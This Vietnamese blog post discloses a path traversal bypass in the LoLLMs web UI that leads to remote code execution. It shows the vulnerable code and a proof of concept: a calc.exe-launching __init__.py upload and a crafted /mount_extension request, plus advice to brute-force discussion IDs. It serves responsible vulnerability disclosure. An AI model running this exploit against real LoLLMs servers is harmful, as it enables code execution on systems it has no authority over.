Chuyện là dạo gần đây, mình có contribute một bài blog phân tích về một lỗ hổng trên nền tảng huntr, với cộng thêm là gần đây cũng chưa viết bài nào mới nên bài hôm nay mình sẽ viết lại bài phân tích bằng Tiếng Việt để có cái để post (T_T).
(Bài viết gốc: https://blog.huntr.com/critical-path-traversal-flaw-leads-to-remote-code-execution-in-parisneo/lollms)
#Product Overview
Lord of Large Language Models (LoLLMs) Server là máy chủ tạo văn bản dựa trên các mô hình ngôn ngữ lớn (large language models). Nó cung cấp API dựa trên Flask để tạo văn bản bằng nhiều mô hình ngôn ngữ được đào tạo trước. Máy chủ này được thiết kế để dễ cài đặt và sử dụng, cho phép các nhà phát triển tích hợp các khả năng tạo văn bản mạnh mẽ vào ứng dụng của họ.
(Bạn có thể tham khảo thêm tại đây: https://github.com/ParisNeo/lollms-webui)
#Vulnerability Summary
Cụ thể là do bản vá bảo mật cho các lỗ hổng trước đó chưa khắc phục triệt để nên cho phép kẻ tấn công có thể dễ dàng bypass bằng ký tự rỗng để khai thác path traversal nhằm thay đổi giá trị của extension_path thành thư mục bất kỳ nằm trong cấu hình lollmsElfServer và thực hiện trigger hàm ExtensionBuilder().build_extension() để load mã độc hại được tải lên bởi attacker.
#Background
Kể từ trước thời điểm khi mình tìm thấy lỗ hổng này, thì có thể thấy rằng có rất nhiều lỗ hổng Path Traversal (bao gồm cả của mình) đã được report rất nhiều (cứ vá rồi lại bypass :3) và được liệt kê trên Hacktivity ở huntr.
Vì thế nên các cơ chế phòng chống cho loại lỗ hổng này cũng ngày một được nâng cao và thường xuyên được update

Trong đó, file lollms/security.py sẽ chứa các function để thực hiện kiểm tra và detect những malicous input được nhận vào từ người dùng
# lollms_core\lollms\server\endpoints\lollms_personalities_infos.py
# ... more code
def sanitize_path(path:str, allow_absolute_path:bool=False, error_text="Absolute database path detected", exception_text="Detected an attempt of path traversal. Are you kidding me?"):
# Prevent path traversal
# ...
def sanitize_path_from_endpoint(path: str, error_text="A suspected LFI attack detected. The path sent to the server has suspicious elements in it!", exception_text="Invalid path!"):
# Prevent path traversal too
# ...
def check_access(lollmsElfServer, client_id):
# check access
# ...
def forbid_remote_access(lollmsElfServer, exception_text = "This functionality is forbidden if the server is exposed"):
# ...
và chức năng ngăn chặn này được triển khai ở hầu hết các endpoint nằm bên trong ứng dụng để kiểm soát các input đầu vào
# lollms_core\lollms\server\endpoints\lollms_personalities_infos.py
# ... more code
@router.post("/reinstall_personality")
async def reinstall_personality(personality_in: PersonalityIn):
check_access(lollmsElfServer, personality_in.client_id)
try:
sanitize_path(personality_in.name)
if not personality_in.name:
# ...
@router.post("/get_personality_config")
def get_personality_config(data:PersonalityDataRequest):
print("- Recovering personality config")
category = sanitize_path(data.category)
name = sanitize_path(data.name)
# ...
ta thấy rằng tất cả các trick được sử dụng để khai thác từ các bản báo cáo trước đó đều đã được vá, vì thế nên mình quyết định đào sâu vào cơ chế hoạt động này và hy vọng sẽ tìm được cách bypass :<.
#Analyzing the Vulnerability in Detail
#Bypass the filter
Trước khi tiếp cận sâu và tìm ra được lỗ hổng được đề cập ở tiêu đề thì mình đã nhìn vào chức năng ở endpoint /get_personality_config này đầu tiên vì nhận thấy được sự bất thường ở cách xử lý của nó
# lollms_core\lollms\server\endpoints\lollms_personalities_infos.py
# ... more code
@router.post("/get_personality_config")
def get_personality_config(data:PersonalityDataRequest):
print("- Recovering personality config")
category = sanitize_path(data.category) # [1]
name = sanitize_path(data.name) # [2]
package_path = f"{category}/{name}" # [3]
if category=="custom_personalities":
# ...
else:
package_full_path = lollmsElfServer.lollms_paths.personalities_zoo_path/package_path # [4]
config_file = package_full_path / "config.yaml"
if config_file.exists():
with open(config_file,"r") as f:
config = yaml.safe_load(f)
return {"status":True, "config":config}
# ...
Tại [1][2], các giá trị data.category và data.name là các giá trị mà người dùng có thể hoàn toàn kiểm soát được, đồng thời các giá trị này nều được đi qua bộ lọc là hàm sanitize_path():
def sanitize_path(path:str, allow_absolute_path:bool=False, error_text="Absolute database path detected", exception_text="Detected an attempt of path traversal. Are you kidding me?"):
if path is None:
return path
# Regular expression to detect patterns like "...." and multiple forward slashes
suspicious_patterns = re.compile(r'(\.\.+)|(/+/)')
if suspicious_patterns.search(str(path)) or ((not allow_absolute_path) and Path(path).is_absolute()):
ASCIIColors.error(error_text)
raise HTTPException(status_code=400, detail=exception_text)
if not allow_absolute_path:
path = path.lstrip('/')
return path
như ta thấy rõ rằng, bộ lọc kiểm soát khá chặt chẽ để ngăn chặn sử dụng các ký tự đặc biệt để thoát ra khỏi đường dẫn mặc định nên các input bắt đầu bằng các payload như ../, /, \, … và cũng như các đường dẫn được xem là absolute path đều bị phát hiện.
Tại [3], hai giá trị data.category và data.name được nối với nhau bởi dấu phân cách / và kết quả sẽ được nối vào đường dẫn mặc định mà người dùng chỉ được phép truy cập tại [4].
Trên python cho phép chúng ta có thể append một Path object với một chuỗi để thực hiện nối các đường dẫn lại với nhau, ví dụ:
>>> from pathlib import Path
>>> a = Path("/home/user/public/")
>>> b = "etc/passwd"
>>> a/b
PosixPath('/home/user/public/etc/passwd')
nhưng nếu chuỗi được nối tiếp bắt đầu bằng dấu phân cách / (hoặc có dạng absolute path) thì đường dẫn trước đó sẽ bị bỏ qua
>>> from pathlib import Path
>>> a = Path("/home/user/public/")
>>> b = "/etc/passwd"
>>> a/b
PosixPath('/etc/passwd')
Vì thế lỗ hổng xảy ra ở đây là các giá trị data.category và data.name không check giá trị rỗng dẫn đến kẻ tấn công có thể lạm dụng dấu phân cách giữa hai giá trị này tạo thành đường dẫn tuyệt đối và control được đường dẫn bất kỳ dựa vào giá trị thứ hai
>>> category = ""
>>> name = "tmp/hacked"
>>> package_path = f"{category}/{name}"
>>> package_path
'/tmp/hacked'
>>> package_full_path = Path("/home/user/public/")/package_path
>>> package_full_path
PosixPath('/tmp/hacked')
Tuyệt vời, đến đây có thể khẳng định rằng đã có thể bypass được filter, nhưng tại endpoint /get_personality_config này có vẻ việc khai thác path traversal không tạo ra được mức độ nghiêm trọng của vấn đề nên mình phải rà soát thêm các chức năng khác.
#More impact, more money
Sau khi tham khảo lần lượt các lỗ hổng đã được công bố trước đó, thì mình tìm được một lỗ hổng có mã CVE-2024-4320 được mô tả rất chi tiết bởi @retr0reg (Xem chi tiết tại: https://huntr.com/bounties/d6564f04-0f59-4686-beb2-11659342279b).
Lỗ hổng mô tả rằng tại endpoint /install_extension, cho phép kẻ tấn công khai thác lỗ hổng Path Traversal thông qua biến extension_path đến đường dẫn mà kẻ tấn công đã tải mã độc lên và thực thi hàm ExtensionBuilder().build_extension() để thực hiện load malicous code.
Mình đã thực hiện kiểm tra nhanh rằng hiện tại thì lỗ hổng đã được vá ở /install_extension endpoint, nhưng mình phát hiện ra rằng có thể thực thi hàm ExtensionBuilder().build_extension() gián tiếp qua hàm lollmsElfServer.rebuild_extensions() của một endpoint khác là /mount_extension.
# lollms_core\lollms\server\endpoints\lollms_extensions_infos.py
# ... more code
@router.post("/mount_extension")
def mount_extension(data:ExtensionMountingInfos):
print("- Mounting extension")
category = sanitize_path(data.category)
name = sanitize_path(data.folder)
package_path = f"{category}/{name}"
package_full_path = lollmsElfServer.lollms_paths.extensions_zoo_path/package_path
config_file = package_full_path / "config.yaml" # [5]
if config_file.exists():
lollmsElfServer.config["extensions"].append(package_path) # [6]
lollmsElfServer.mounted_extensions = lollmsElfServer.rebuild_extensions() # [7]
Như mô tả bên trên, ta hoàn toàn có thể bypass để điều khiển giá trị package_full_path đến một đường dẫn theo ý của chúng ta. Tại [5], kiểm tra xem file config.yaml có tồn tại trong folder hay không nếu tồn tại thì đường dẫn package_full_path sẽ được thêm vào danh sách các extension được định nghĩa tại lollmsElfServer.config["extensions"] ở [6]. Tại [7], sẽ thực thi hàm lollmsElfServer.rebuild_extensions() như sau:
# lollms_webui.py
# ... more code
class LOLLMSWebUI(LOLLMSElfServer):
def rebuild_extensions(self, reload_all=False):
# ...
for i,extension in enumerate(self.config['extensions']):
# ...
if extension in loaded_names:
# ...
else:
extension_path = self.lollms_paths.extensions_zoo_path/f"{extension}"
try:
extension = ExtensionBuilder().build_extension(extension_path,self.lollms_paths, self)
# ...
Tại đây, chương trình sẽ thực hiện lặp hết tất cả các đường dẫn extension_path nằm trong config được thêm ở [5], sau đó thực hiện load chúng lên thông qua hàm ExtensionBuilder().build_extension()
# lollms_core\lollms\extension.py
# ... more code
class ExtensionBuilder:
def build_extension(
self,
extension_path:str,
lollms_paths:LollmsPaths,
app,
installation_option:InstallOption=InstallOption.INSTALL_IF_NECESSARY
)->LOLLMSExtension:
extension, script_path = self.getExtension(extension_path, lollms_paths, app) # [8]
return extension(app = app, installation_option = installation_option)
def getExtension(
self,
extension_path:str,
lollms_paths:LollmsPaths,
app
)->LOLLMSExtension:
extension_path = lollms_paths.extensions_zoo_path / extension_path
# define the full absolute path to the module
absolute_path = extension_path.resolve()
# infer the module name from the file path
module_name = extension_path.stem
# use importlib to load the module from the file path
loader = importlib.machinery.SourceFileLoader(module_name, str(absolute_path / "__init__.py")) # [9]
extension_module = loader.load_module()
extension:LOLLMSExtension = getattr(extension_module, extension_module.extension_name)
return extension, absolute_path
Khi hàm ExtensionBuilder().build_extension() thực thi, sẽ tiếp tục gọi hàm ExtensionBuilder().getExtension() tại [8], vì extension_path luôn là giá trị absolute path mà ta truyền vào nên có thể dễ dàng control được giá trị của biến absolute_path theo ý của mình. Đồng thời tại [9], hàm ExtensionBuilder().getExtension() sẽ tìm file __init__.py trong đường dẫn mà kẻ tấn công cung cấp để thực hiện load mã bên trong file này.
#Exploit Conditions
- Phải biết
discussion_id - Phải biết đường dẫn đến folder
personal_data
#Proof-of-Concept
Thực hiện tạo một cuộc hội thoại bất kỳ

Tạo 2 file có tên lần lượt là config.yaml và __init__.py như bên dưới
$ echo "import os; os.system('calc.exe');" > __init__.py
$ echo "FOOOO" > config.yaml
Và sau đó upload các file config.yaml and __init__.py vừa tạo thông qua chức năng Send file to AI

Send request như bên dưới để trigger RCE
POST /mount_extension HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 177
{
"category": "",
"folder": "/path/to/personal_data/discussion_databases/default/<discussion_id>/text_data",
"client_id": "jg9yock1FmRZdONsAAAH",
"language": "vi"
}
Trong đó, discussion_id ta có thể dễ dàng brute-force bởi vì biến này mang giá trị là một số nguyên dễ đoán

#The patch
Mình đã nhanh chóng report lỗ hổng này trên huntr và vendor đã nhanh chóng acknowledged lỗ hổng này

và bản vá cho lỗ hổng lần này này chỉ đơn giản là xóa các chức năng nguy hiểm này đi

#Conclusion
Cuối cùng, mình muốn gửi lời cảm ơn đến huntr đã tạo nên một nền tảng hết sức thú vị này, và đồng thời cảm ơn huntr đã chia sẽ và mang bài phân tích này đến với cộng đồng.